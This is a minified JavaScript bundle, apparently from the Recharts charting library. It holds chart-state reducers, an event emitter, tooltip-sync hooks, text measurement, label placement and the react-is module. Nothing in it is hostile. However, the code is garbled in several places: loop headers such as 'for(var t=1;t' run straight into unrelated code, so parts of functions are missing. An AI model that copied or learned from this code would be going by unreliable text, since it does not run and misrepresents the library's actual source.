Kz=nn({name:"zIndex",initialState:YR,reducers:{registerZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]?e.zIndexMap[n].consumers+=1:e.zIndexMap[n]={consumers:1,element:void 0,panoramaElement:void 0}},prepare:He()},unregisterZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(e.zIndexMap[n].consumers-=1,e.zIndexMap[n].consumers<=0&&!GR(n)&&delete e.zIndexMap[n])},prepare:He()},registerZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n,element:r,isPanorama:i}=t.payload;e.zIndexMap[n]?i?e.zIndexMap[n].panoramaElement=r:e.zIndexMap[n].element=r:e.zIndexMap[n]={consumers:0,element:i?void 0:r,panoramaElement:i?r:void 0}},prepare:He()},unregisterZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(t.payload.isPanorama?e.zIndexMap[n].panoramaElement=void 0:e.zIndexMap[n].element=void 0)},prepare:He()}}}),{registerZIndexPortal:XR,unregisterZIndexPortal:ZR,registerZIndexPortalElement:QR,unregisterZIndexPortalElement:JR}=Kz.actions,e9=Kz.reducer;function Mi(e){var{zIndex:t,children:n}=e,r=nM(),i=r&&t!==void 0&&t!==0,s=Jn(),o=ot();m.useLayoutEffect(()=>i?(o(XR({zIndex:t})),()=>{o(ZR({zIndex:t}))}):ys,[o,t,i]);var l=je(c=>FR(c,t,s));return i?l?jx.createPortal(n,l):null:n}function bh(){return bh=Object.assign?Object.assign.bind():function(e){for(var t=1;tm.useContext(Yz),qz={exports:{}};(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function i(c,u,d){this.fn=c,this.context=u,this.once=d||!1}function s(c,u,d,f,p){if(typeof d!="function")throw new TypeError("The listener must be a function");var h=new i(d,f||c,p),x=n?n+u:u;return c._events[x]?c._events[x].fn?c._events[x]=[c._events[x],h]:c._events[x].push(h):(c._events[x]=h,c._eventsCount++),c}function o(c,u){--c._eventsCount===0?c._events=new r:delete c._events[u]}function l(){this._events=new r,this._eventsCount=0}l.prototype.eventNames=function(){var u=[],d,f;if(this._eventsCount===0)return u;for(f in d=this._events)t.call(d,f)&&u.push(n?f.slice(1):f);return Object.getOwnPropertySymbols?u.concat(Object.getOwnPropertySymbols(d)):u},l.prototype.listeners=function(u){var d=n?n+u:u,f=this._events[d];if(!f)return[];if(f.fn)return[f.fn];for(var p=0,h=f.length,x=new Array(h);p{if(t&&Array.isArray(e)){var n=Number.parseInt(t,10);if(!mr(n))return e[n]}},u9={chartName:"",tooltipPayloadSearcher:()=>{},eventEmitter:void 0,defaultTooltipEventType:"axis"},Xz=nn({name:"options",initialState:u9,reducers:{createEventEmitter:e=>{e.eventEmitter==null&&(e.eventEmitter=Symbol("rechartsEventEmitter"))}}}),d9=Xz.reducer,{createEventEmitter:f9}=Xz.actions;function m9(e){return e.tooltip.syncInteraction}var p9={chartData:void 0,computedData:void 0,dataStartIndex:0,dataEndIndex:0},Zz=nn({name:"chartData",initialState:p9,reducers:{setChartData(e,t){if(e.chartData=t.payload,t.payload==null){e.dataStartIndex=0,e.dataEndIndex=0;return}t.payload.length>0&&e.dataEndIndex!==t.payload.length-1&&(e.dataEndIndex=t.payload.length-1)},setComputedData(e,t){e.computedData=t.payload},setDataStartEndIndexes(e,t){var{startIndex:n,endIndex:r}=t.payload;n!=null&&(e.dataStartIndex=n),r!=null&&(e.dataEndIndex=r)}}}),{setChartData:Ib,setDataStartEndIndexes:h9,setComputedData:JV}=Zz.actions,x9=Zz.reducer,v9=["x","y"];function Db(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Sa(e){for(var t=1;tc.rootProps.className);m.useEffect(()=>{if(e==null)return ys;var c=(u,d,f)=>{if(t!==f&&e===u){if(r==="index"){var p;if(o&&d!==null&&d!==void 0&&(p=d.payload)!==null&&p!==void 0&&p.coordinate&&d.payload.sourceViewBox){var h=d.payload.coordinate,{x,y:g}=h,y=w9(h,v9),{x:v,y:b,width:w,height:j}=d.payload.sourceViewBox,N=Sa(Sa({},y),{},{x:o.x+(w?(x-v)/w:0)*o.width,y:o.y+(j?(g-b)/j:0)*o.height});n(Sa(Sa({},d),{},{payload:Sa(Sa({},d.payload),{},{coordinate:N})}))}else n(d);return}if(i!=null){var z;if(typeof r=="function"){var k={activeTooltipIndex:d.payload.index==null?void 0:Number(d.payload.index),isTooltipActive:d.payload.active,activeIndex:d.payload.index==null?void 0:Number(d.payload.index),activeLabel:d.payload.label,activeDataKey:d.payload.dataKey,activeCoordinate:d.payload.coordinate},S=r(i,k);z=i[S]}else r==="value"&&(z=i.find(M=>String(M.value)===d.payload.label));var{coordinate:A}=d.payload;if(z==null||d.payload.active===!1||A==null||o==null){n(gh({active:!1,coordinate:void 0,dataKey:void 0,index:null,label:void 0,sourceViewBox:void 0,graphicalItemId:void 0}));return}var{x:_,y:O}=A,P=Math.min(_,o.x+o.width),I=Math.min(O,o.y+o.height),Y={x:s==="horizontal"?z.coordinate:P,y:s==="horizontal"?I:z.coordinate},D=gh({active:d.payload.active,coordinate:Y,dataKey:d.payload.dataKey,index:String(z.index),label:d.payload.label,sourceViewBox:d.payload.sourceViewBox,graphicalItemId:d.payload.graphicalItemId});n(D)}}};return Zo.on(wh,c),()=>{Zo.off(wh,c)}},[l,n,t,e,r,i,s,o])}function k9(){var e=je(E0),t=je(_0),n=ot();m.useEffect(()=>{if(e==null)return ys;var r=(i,s,o)=>{t!==o&&e===i&&n(h9(s))};return Zo.on(Lb,r),()=>{Zo.off(Lb,r)}},[n,t,e])}function z9(){var e=ot();m.useEffect(()=>{e(f9())},[e]),N9(),k9()}function S9(e,t,n,r,i,s){var o=je(h=>MR(h,e,t)),l=je(_0),c=je(E0),u=je($4),d=je(m9),f=d==null?void 0:d.active,p=Wd();m.useEffect(()=>{if(!f&&c!=null&&l!=null){var h=gh({active:s,coordinate:n,dataKey:o,index:i,label:typeof r=="number"?String(r):r,sourceViewBox:p,graphicalItemId:void 0});Zo.emit(wh,c,h,l)}},[f,n,o,i,r,l,c,u,s,p])}function Rb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function $b(e){for(var t=1;t{k(ED({shared:b,trigger:w,axisId:z,active:i,defaultIndex:S}))},[k,b,w,z,i,S]);var A=Wd(),_=Tk(),O=ND(b),{activeIndex:P,isActive:I}=(t=je(G=>DR(G,O,w,S)))!==null&&t!==void 0?t:{},Y=je(G=>IR(G,O,w,S)),D=je(G=>Hz(G,O,w,S)),M=je(G=>LR(G,O,w,S)),W=Y,$=o9(),H=(n=i??I)!==null&&n!==void 0?n:!1,[F,K]=fO([W,H]),Z=O==="axis"?D:void 0;S9(O,w,M,Z,P,H);var oe=N??$;if(oe==null||A==null||O==null)return null;var de=W??Bb;H||(de=Bb),u&&de.length&&(de=_6(de.filter(G=>G.value!=null&&(G.hide!==!0||r.includeHidden)),p,_9));var be=de.length>0,ye=m.createElement(CM,{allowEscapeViewBox:s,animationDuration:o,animationEasing:l,isAnimationActive:d,active:H,coordinate:M,hasPayload:be,offset:f,position:h,reverseDirection:x,useTranslate3d:g,viewBox:A,wrapperStyle:y,lastBoundingBox:F,innerRef:K,hasPortalFromProps:!!N},A9(c,$b($b({},r),{},{payload:de,label:Z,active:H,activeIndex:P,coordinate:M,accessibilityLayer:_})));return m.createElement(m.Fragment,null,jx.createPortal(ye,oe),H&&m.createElement(s9,{cursor:v,tooltipEventType:O,coordinate:M,payload:de,index:P}))}var ff=e=>null;ff.displayName="Cell";function T9(e,t,n){return(t=M9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function M9(e){var t=L9(e,"string");return typeof t=="symbol"?t:t+""}function L9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class I9{constructor(t){T9(this,"cache",new Map),this.maxSize=t}get(t){var n=this.cache.get(t);return n!==void 0&&(this.cache.delete(t),this.cache.set(t,n)),n}set(t,n){if(this.cache.has(t))this.cache.delete(t);else if(this.cache.size>=this.maxSize){var r=this.cache.keys().next().value;r!=null&&this.cache.delete(r)}this.cache.set(t,n)}clear(){this.cache.clear()}size(){return this.cache.size}}function Wb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function D9(e){for(var t=1;t{try{var n=document.getElementById(Vb);n||(n=document.createElement("span"),n.setAttribute("id",Vb),n.setAttribute("aria-hidden","true"),document.body.appendChild(n)),Object.assign(n.style,W9,t),n.textContent="".concat(e);var r=n.getBoundingClientRect();return{width:r.width,height:r.height}}catch{return{width:0,height:0}}},Kb=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t==null||Kd.isSsr)return{width:0,height:0};if(!Qz.enableCache)return Hb(t,n);var r=U9(t,n),i=Ub.get(r);if(i)return i;var s=Hb(t,n);return Ub.set(r,s),s},Jz;function V9(e,t,n){return(t=H9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function H9(e){var t=K9(e,"string");return typeof t=="symbol"?t:t+""}function K9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var Yb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([*/])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,qb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([+-])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,Y9=/^px|cm|vh|vw|em|rem|%|mm|in|pt|pc|ex|ch|vmin|vmax|Q$/,q9=/(-?\d+(?:\.\d+)?)([a-zA-Z%]+)?/,G9={cm:96/2.54,mm:96/25.4,pt:96/72,pc:96/6,in:96,Q:96/(2.54*40),px:1},X9=["cm","mm","pt","pc","in","Q","px"];function Z9(e){return X9.includes(e)}var Wa="NaN";function Q9(e,t){return e*G9[t]}class _t{static parse(t){var n,[,r,i]=(n=q9.exec(t))!==null&&n!==void 0?n:[];return r==null?_t.NaN:new _t(parseFloat(r),i??"")}constructor(t,n){this.num=t,this.unit=n,this.num=t,this.unit=n,mr(t)&&(this.unit=""),n!==""&&!Y9.test(n)&&(this.num=NaN,this.unit=""),Z9(n)&&(this.num=Q9(t,n),this.unit="px")}add(t){return this.unit!==t.unit?new _t(NaN,""):new _t(this.num+t.num,this.unit)}subtract(t){return this.unit!==t.unit?new _t(NaN,""):new _t(this.num-t.num,this.unit)}multiply(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new _t(NaN,""):new _t(this.num*t.num,this.unit||t.unit)}divide(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new _t(NaN,""):new _t(this.num/t.num,this.unit||t.unit)}toString(){return"".concat(this.num).concat(this.unit)}isNaN(){return mr(this.num)}}Jz=_t;V9(_t,"NaN",new Jz(NaN,""));function e3(e){if(e==null||e.includes(Wa))return Wa;for(var t=e;t.includes("*")||t.includes("/");){var n,[,r,i,s]=(n=Yb.exec(t))!==null&&n!==void 0?n:[],o=_t.parse(r??""),l=_t.parse(s??""),c=i==="*"?o.multiply(l):o.divide(l);if(c.isNaN())return Wa;t=t.replace(Yb,c.toString())}for(;t.includes("+")||/.-\d+(?:\.\d+)?/.test(t);){var u,[,d,f,p]=(u=qb.exec(t))!==null&&u!==void 0?u:[],h=_t.parse(d??""),x=_t.parse(p??""),g=f==="+"?h.add(x):h.subtract(x);if(g.isNaN())return Wa;t=t.replace(qb,g.toString())}return t}var Gb=/\(([^()]*)\)/;function J9(e){for(var t=e,n;(n=Gb.exec(t))!=null;){var[,r]=n;t=t.replace(Gb,e3(r))}return t}function e$(e){var t=e.replace(/\s+/g,"");return t=J9(t),t=e3(t),t}function t$(e){try{return e$(e)}catch{return Wa}}function jm(e){var t=t$(e.slice(5,-1));return t===Wa?"":t}var n$=["x","y","lineHeight","capHeight","fill","scaleToFit","textAnchor","verticalAnchor"],r$=["dx","dy","angle","className","breakAll"];function jh(){return jh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:t,breakAll:n,style:r}=e;try{var i=[];Mt(t)||(n?i=t.toString().split(""):i=t.toString().split(t3));var s=i.map(l=>({word:l,width:Kb(l,r).width})),o=n?0:Kb(" ",r).width;return{wordsWithComputedWidth:s,spaceWidth:o}}catch{return null}};function a$(e){return e==="start"||e==="middle"||e==="end"||e==="inherit"}var r3=(e,t,n,r)=>e.reduce((i,s)=>{var{word:o,width:l}=s,c=i[i.length-1];if(c&&l!=null&&(t==null||r||c.width+l+ne.reduce((t,n)=>t.width>n.width?t:n),s$="…",Zb=(e,t,n,r,i,s,o,l)=>{var c=e.slice(0,t),u=n3({breakAll:n,style:r,children:c+s$});if(!u)return[!1,[]];var d=r3(u.wordsWithComputedWidth,s,o,l),f=d.length>i||i3(d).width>Number(s);return[f,d]},o$=(e,t,n,r,i)=>{var{maxLines:s,children:o,style:l,breakAll:c}=e,u=ge(s),d=String(o),f=r3(t,r,n,i);if(!u||i)return f;var p=f.length>s||i3(f).width>Number(r);if(!p)return f;for(var h=0,x=d.length-1,g=0,y;h<=x&&g<=d.length-1;){var v=Math.floor((h+x)/2),b=v-1,[w,j]=Zb(d,b,c,l,s,r,n,i),[N]=Zb(d,v,c,l,s,r,n,i);if(!w&&!N&&(h=v+1),w&&N&&(x=v-1),!w&&N){y=j;break}g++}return y||f},Qb=e=>{var t=Mt(e)?[]:e.toString().split(t3);return[{words:t,width:void 0}]},l$=e=>{var{width:t,scaleToFit:n,children:r,style:i,breakAll:s,maxLines:o}=e;if((t||n)&&!Kd.isSsr){var l,c,u=n3({breakAll:s,children:r,style:i});if(u){var{wordsWithComputedWidth:d,spaceWidth:f}=u;l=d,c=f}else return Qb(r);return o$({breakAll:s,children:r,maxLines:o,style:i},l,c,t,!!n)}return Qb(r)},a3="#808080",c$={angle:0,breakAll:!1,capHeight:"0.71em",fill:a3,lineHeight:"1em",scaleToFit:!1,textAnchor:"start",verticalAnchor:"end",x:0,y:0},fv=m.forwardRef((e,t)=>{var n=gn(e,c$),{x:r,y:i,lineHeight:s,capHeight:o,fill:l,scaleToFit:c,textAnchor:u,verticalAnchor:d}=n,f=Xb(n,n$),p=m.useMemo(()=>l$({breakAll:f.breakAll,children:f.children,maxLines:f.maxLines,scaleToFit:c,style:f.style,width:f.width}),[f.breakAll,f.children,f.maxLines,c,f.style,f.width]),{dx:h,dy:x,angle:g,className:y,breakAll:v}=f,b=Xb(f,r$);if(!Lr(r)||!Lr(i)||p.length===0)return null;var w=Number(r)+(ge(h)?h:0),j=Number(i)+(ge(x)?x:0);if(!Ee(w)||!Ee(j))return null;var N;switch(d){case"start":N=jm("calc(".concat(o,")"));break;case"middle":N=jm("calc(".concat((p.length-1)/2," * -").concat(s," + (").concat(o," / 2))"));break;default:N=jm("calc(".concat(p.length-1," * -").concat(s,")"));break}var z=[],k=p[0];if(c&&k!=null){var S=k.width,{width:A}=f;z.push("scale(".concat(ge(A)&&ge(S)?A/S:1,")"))}return g&&z.push("rotate(".concat(g,", ").concat(w,", ").concat(j,")")),z.length&&(b.transform=z.join(" ")),m.createElement("text",jh({},Ut(b),{ref:t,x:w,y:j,className:Qe("recharts-text",y),textAnchor:u,fill:l.includes("url")?a3:l}),p.map((_,O)=>{var P=_.words.join(v?"":" ");return m.createElement("tspan",{x:w,dy:O===0?N:s,key:"".concat(P,"-").concat(O)},P)}))});fv.displayName="Text";function Jb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rr(e){for(var t=1;t{var{viewBox:t,position:n,offset:r=0,parentViewBox:i}=e,{x:s,y:o,height:l,upperWidth:c,lowerWidth:u}=e0(t),d=s,f=s+(c-u)/2,p=(d+f)/2,h=(c+u)/2,x=d+c/2,g=l>=0?1:-1,y=g*r,v=g>0?"end":"start",b=g>0?"start":"end",w=c>=0?1:-1,j=w*r,N=w>0?"end":"start",z=w>0?"start":"end",k=i;if(n==="top"){var S={x:d+c/2,y:o-y,horizontalAnchor:"middle",verticalAnchor:v};return k&&(S.height=Math.max(o-k.y,0),S.width=c),S}if(n==="bottom"){var A={x:f+u/2,y:o+l+y,horizontalAnchor:"middle",verticalAnchor:b};return k&&(A.height=Math.max(k.y+k.height-(o+l),0),A.width=u),A}if(n==="left"){var _={x:p-j,y:o+l/2,horizontalAnchor:N,verticalAnchor:"middle"};return k&&(_.width=Math.max(_.x-k.x,0),_.height=l),_}if(n==="right"){var O={x:p+h+j,y:o+l/2,horizontalAnchor:z,verticalAnchor:"middle"};return k&&(O.width=Math.max(k.x+k.width-O.x,0),O.height=l),O}var P=k?{width:h,height:l}:{};return n==="insideLeft"?rr({x:p+j,y:o+l/2,horizontalAnchor:z,verticalAnchor:"middle"},P):n==="insideRight"?rr({x:p+h-j,y:o+l/2,horizontalAnchor:N,verticalAnchor:"middle"},P):n==="insideTop"?rr({x:d+c/2,y:o+y,horizontalAnchor:"middle",verticalAnchor:b},P):n==="insideBottom"?rr({x:f+u/2,y:o+l-y,horizontalAnchor:"middle",verticalAnchor:v},P):n==="insideTopLeft"?rr({x:d+j,y:o+y,horizontalAnchor:z,verticalAnchor:b},P):n==="insideTopRight"?rr({x:d+c-j,y:o+y,horizontalAnchor:N,verticalAnchor:b},P):n==="insideBottomLeft"?rr({x:f+j,y:o+l-y,horizontalAnchor:z,verticalAnchor:v},P):n==="insideBottomRight"?rr({x:f+u-j,y:o+l-y,horizontalAnchor:N,verticalAnchor:v},P):n&&typeof n=="object"&&(ge(n.x)||da(n.x))&&(ge(n.y)||da(n.y))?rr({x:s+fn(n.x,h),y:o+fn(n.y,l),horizontalAnchor:"end",verticalAnchor:"end"},P):rr({x,y:o+l/2,horizontalAnchor:"middle",verticalAnchor:"middle"},P)},p$=["labelRef"],h$=["content"];function e2(e,t){if(e==null)return{};var n,r,i=x$(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var e=m.useContext(b$),t=Wd();return e||(t?e0(t):void 0)},j$=m.createContext(null),N$=()=>{var e=m.useContext(j$),t=je(H4);return e||t},k$=e=>{var{value:t,formatter:n}=e,r=Mt(e.children)?t:e.children;return typeof n=="function"?n(r):r},z$=e=>e!=null&&typeof e=="function",S$=(e,t)=>{var n=Gt(t-e),r=Math.min(Math.abs(t-e),360);return n*r},C$=(e,t,n,r,i)=>{var{offset:s,className:o}=e,{cx:l,cy:c,innerRadius:u,outerRadius:d,startAngle:f,endAngle:p,clockWise:h}=i,x=(u+d)/2,g=S$(f,p),y=g>=0?1:-1,v,b;switch(t){case"insideStart":v=f+y*s,b=h;break;case"insideEnd":v=p-y*s,b=!h;break;case"end":v=p+y*s,b=h;break;default:throw new Error("Unsupported position ".concat(t))}b=g<=0?b:!b;var w=dt(l,c,x,v),j=dt(l,c,x,v+(b?1:-1)*359),N="M".concat(w.x,",").concat(w.y,` A`).concat(x,",").concat(x,",0,1,").concat(b?0:1,`, `).concat(j.x,",").concat(j.y),z=Mt(e.id)?Ro("recharts-radial-line-"):e.id;return m.createElement("text",$u({},r,{dominantBaseline:"central",className:Qe("recharts-radial-bar-label",o)}),m.createElement("defs",null,m.createElement("path",{id:z,d:N})),m.createElement("textPath",{xlinkHref:"#".concat(z)},n))},P$=(e,t,n)=>{var{cx:r,cy:i,innerRadius:s,outerRadius:o,startAngle:l,endAngle:c}=e,u=(l+c)/2;if(n==="outside"){var{x:d,y:f}=dt(r,i,o+t,u);return{x:d,y:f,textAnchor:d>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var p=(s+o)/2,{x:h,y:x}=dt(r,i,p,u);return{x:h,y:x,textAnchor:"middle",verticalAnchor:"middle"}},zc=e=>e!=null&&"cx"in e&&ge(e.cx),E$={angle:0,offset:5,zIndex:Zt.label,position:"middle",textBreakAll:!1};function _$(e){if(!zc(e))return e;var{cx:t,cy:n,outerRadius:r}=e,i=r*2;return{x:t-r,y:n-r,width:i,upperWidth:i,lowerWidth:i,height:i}}function s3(e){var t=gn(e,E$),{viewBox:n,parentViewBox:r,position:i,value:s,children:o,content:l,className:c="",textBreakAll:u,labelRef:d}=t,f=N$(),p=w$(),h=i==="center"?p:f??p,x,g,y;n==null?x=h:zc(n)?x=n:x=e0(n);var v=_$(x);if(!x||Mt(s)&&Mt(o)&&!m.isValidElement(l)&&typeof l!="function")return null;var b=tc(tc({},t),{},{viewBox:x});if(m.isValidElement(l)){var{labelRef:w}=b,j=e2(b,p$);return m.cloneElement(l,j)}if(typeof l=="function"){var{content:N}=b,z=e2(b,h$);if(g=m.createElement(l,z),m.isValidElement(g))return g}else g=k$(t);var k=Ut(t);if(zc(x)){if(i==="insideStart"||i==="insideEnd"||i==="end")return C$(t,i,g,k,x);y=P$(x,t.offset,t.position)}else{if(!v)return null;var S=m$({viewBox:v,position:i,offset:t.offset,parentViewBox:zc(r)?void 0:r});y=tc(tc({x:S.x,y:S.y,textAnchor:S.horizontalAnchor,verticalAnchor:S.verticalAnchor},S.width!==void 0?{width:S.width}:{}),S.height!==void 0?{height:S.height}:{})}return m.createElement(Mi,{zIndex:t.zIndex},m.createElement(fv,$u({ref:d,className:Qe("recharts-label",c)},k,y,{textAnchor:a$(k.textAnchor)?k.textAnchor:y.textAnchor,breakAll:u}),g))}s3.displayName="Label";var o3={},l3={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})(l3);var c3={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(c3);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=l3,n=c3,r=kd;function i(s){if(r.isArrayLike(s))return t.last(n.toArray(s))}e.last=i})(o3);var A$=o3.last;const O$=Wr(A$);var T$=["valueAccessor"],M$=["dataKey","clockWise","id","textBreakAll","zIndex"];function Bu(){return Bu=Object.assign?Object.assign.bind():function(e){for(var t=1;tArray.isArray(e.value)?O$(e.value):e.value,u3=m.createContext(void 0),D$=u3.Provider,d3=m.createContext(void 0),R$=d3.Provider;function $$(){return m.useContext(u3)}function B$(){return m.useContext(d3)}function Sc(e){var{valueAccessor:t=I$}=e,n=n2(e,T$),{dataKey:r,clockWise:i,id:s,textBreakAll:o,zIndex:l}=n,c=n2(n,M$),u=$$(),d=B$(),f=u||d;return!f||!f.length?null:m.createElement(Mi,{zIndex:l??Zt.label},m.createElement(tn,{className:"recharts-label-list"},f.map((p,h)=>{var x,g=Mt(r)?t(p,h):Ve(p.payload,r),y=Mt(s)?{}:{id:"".concat(s,"-").concat(h)};return m.createElement(s3,Bu({key:"label-".concat(h)},Ut(p),c,y,{fill:(x=n.fill)!==null&&x!==void 0?x:p.fill,parentViewBox:p.parentViewBox,value:g,textBreakAll:o,viewBox:p.viewBox,index:h,zIndex:0}))})))}Sc.displayName="LabelList";function f3(e){var{label:t}=e;return t?t===!0?m.createElement(Sc,{key:"labelList-implicit"}):m.isValidElement(t)||z$(t)?m.createElement(Sc,{key:"labelList-implicit",content:t}):typeof t=="object"?m.createElement(Sc,Bu({key:"labelList-implicit"},t,{type:String(t.type)})):null:null}function Nh(){return Nh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{cx:t,cy:n,r,className:i}=e,s=Qe("recharts-dot",i);return ge(t)&&ge(n)&&ge(r)?m.createElement("circle",Nh({},Mr(e),Lx(e),{className:s,cx:t,cy:n,r})):null},p3=e=>e.graphicalItems.polarItems,F$=L([Je,xl],D0),mf=L([p3,it,F$],R0),W$=L([mf],$0),pf=L([W$,tf],B0),U$=L([pf,it,mf],W0);L([pf,it,mf],(e,t,n)=>n.length>0?e.flatMap(r=>n.flatMap(i=>{var s,o=Ve(r,(s=t.dataKey)!==null&&s!==void 0?s:i.dataKey);return{value:o,errorDomain:[]}})).filter(Boolean):(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Ve(r,t.dataKey),errorDomain:[]})):e.map(r=>({value:r,errorDomain:[]})));var r2=()=>{},V$=L([pf,it,mf,lf,Je],K0),H$=L([it,V0,H0,r2,V$,r2,De,Je],Y0),h3=L([it,De,pf,U$,hl,Je,H$],q0),K$=L([h3,zs,Ti],Z0),Y$=L([it,h3,K$,Je],J0);L([Ti,Y$],Y4);var q$={radiusAxis:{},angleAxis:{}},x3=nn({name:"polarAxis",initialState:q$,reducers:{addRadiusAxis(e,t){e.radiusAxis[t.payload.id]=t.payload},removeRadiusAxis(e,t){delete e.radiusAxis[t.payload.id]},addAngleAxis(e,t){e.angleAxis[t.payload.id]=t.payload},removeAngleAxis(e,t){delete e.angleAxis[t.payload.id]}}}),{addRadiusAxis:eH,removeRadiusAxis:tH,addAngleAxis:nH,removeAngleAxis:rH}=x3.actions,G$=x3.reducer;function X$(e){return e&&typeof e=="object"&&"className"in e&&typeof e.className=="string"?e.className:""}function i2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function a2(e){for(var t=1;tt,mv=L([p3,eB],(e,t)=>e.filter(n=>n.type==="pie").find(n=>n.id===t)),tB=[],pv=(e,t,n)=>(n==null?void 0:n.length)===0?tB:n,v3=L([tf,mv,pv],(e,t,n)=>{var{chartData:r}=e;if(t!=null){var i;if((t==null?void 0:t.data)!=null&&t.data.length>0?i=t.data:i=r,(!i||!i.length)&&n!=null&&(i=n.map(s=>a2(a2({},t.presentationProps),s.props))),i!=null)return i}}),nB=L([v3,mv,pv],(e,t,n)=>{if(!(e==null||t==null))return e.map((r,i)=>{var s,o=Ve(r,t.nameKey,t.name),l;return n!=null&&(s=n[i])!==null&&s!==void 0&&(s=s.props)!==null&&s!==void 0&&s.fill?l=n[i].props.fill:typeof r=="object"&&r!=null&&"fill"in r?l=r.fill:l=t.fill,{value:Dd(o,t.dataKey),color:l,payload:r,type:t.legendType}})}),rB=L([v3,mv,pv,kt],(e,t,n,r)=>{if(!(t==null||e==null))return lF({offset:r,pieSettings:t,displayedData:e,cells:n})}),g3={exports:{}},Re={};/** * @license React * react-is.production.js * * Copyright (c) Meta Platforms, Inc. and affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var hv=Symbol.for("react.transitional.element"),xv=Symbol.for("react.portal"),hf=Symbol.for("react.fragment"),xf=Symbol.for("react.strict_mode"),vf=Symbol.for("react.profiler"),gf=Symbol.for("react.consumer"),yf=Symbol.for("react.context"),bf=Symbol.for("react.forward_ref"),wf=Symbol.for("react.suspense"),jf=Symbol.for("react.suspense_list"),Nf=Symbol.for("react.memo"),kf=Symbol.for("react.lazy"),iB=Symbol.for("react.view_transition"),aB=Symbol.for("react.client.reference");function Ln(e){if(typeof e=="object"&&e!==null){var t=e.$$typeof;switch(t){case hv:switch(e=e.type,e){case hf:case vf:case xf:case wf:case jf:case iB:return e;default:switch(e=e&&e.$$typeof,e){case yf:case bf:case kf:case Nf:return e;case gf:return e;default:return t}}case xv:return t}}}Re.ContextConsumer=gf;Re.ContextProvider=yf;Re.Element=hv;Re.ForwardRef=bf;Re.Fragment=hf;Re.Lazy=kf;Re.Memo=Nf;Re.Portal=xv;Re.Profiler=vf;Re.StrictMode=xf;Re.Suspense=wf;Re.SuspenseList=jf;Re.isContextConsumer=function(e){return Ln(e)===gf};Re.isContextProvider=function(e){return Ln(e)===yf};Re.isElement=function(e){return typeof e=="object"&&e!==null&&e.$$typeof===hv};Re.isForwardRef=function(e){return Ln(e)===bf};Re.isFragment=function(e){return Ln(e)===hf};Re.isLazy=function(e){return Ln(e)===kf};Re.isMemo=function(e){return Ln(e)===Nf};Re.isPortal=function(e){return Ln(e)===xv};Re.isProfiler=function(e){return Ln(e)===vf};Re.isStrictMode=function(e){return Ln(e)===xf};Re.isSuspense=function(e){return Ln(e)===wf};Re.isSuspenseList=function(e){return Ln(e)===jf};Re.isValidElementType=function(e){return typeof e=="string"||typeof e=="function"||e===hf||e===vf||e===xf||e===wf||e===jf||typeof e=="object"&&e!==null&&(e.$$typeof===kf||e.$$typeof===Nf||e.$$typeof===yf||e.$$typeof===gf||e.$$typeof===bf||e.$$typeof===aB||e.getModuleId!==void 0)};Re.typeOf=Ln;g3.exports=Re;var sB=g3.exports,s2=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",o2=null,Nm=null,y3=e=>{if(e===o2&&Array.isArray(Nm))return Nm;var t=[];return 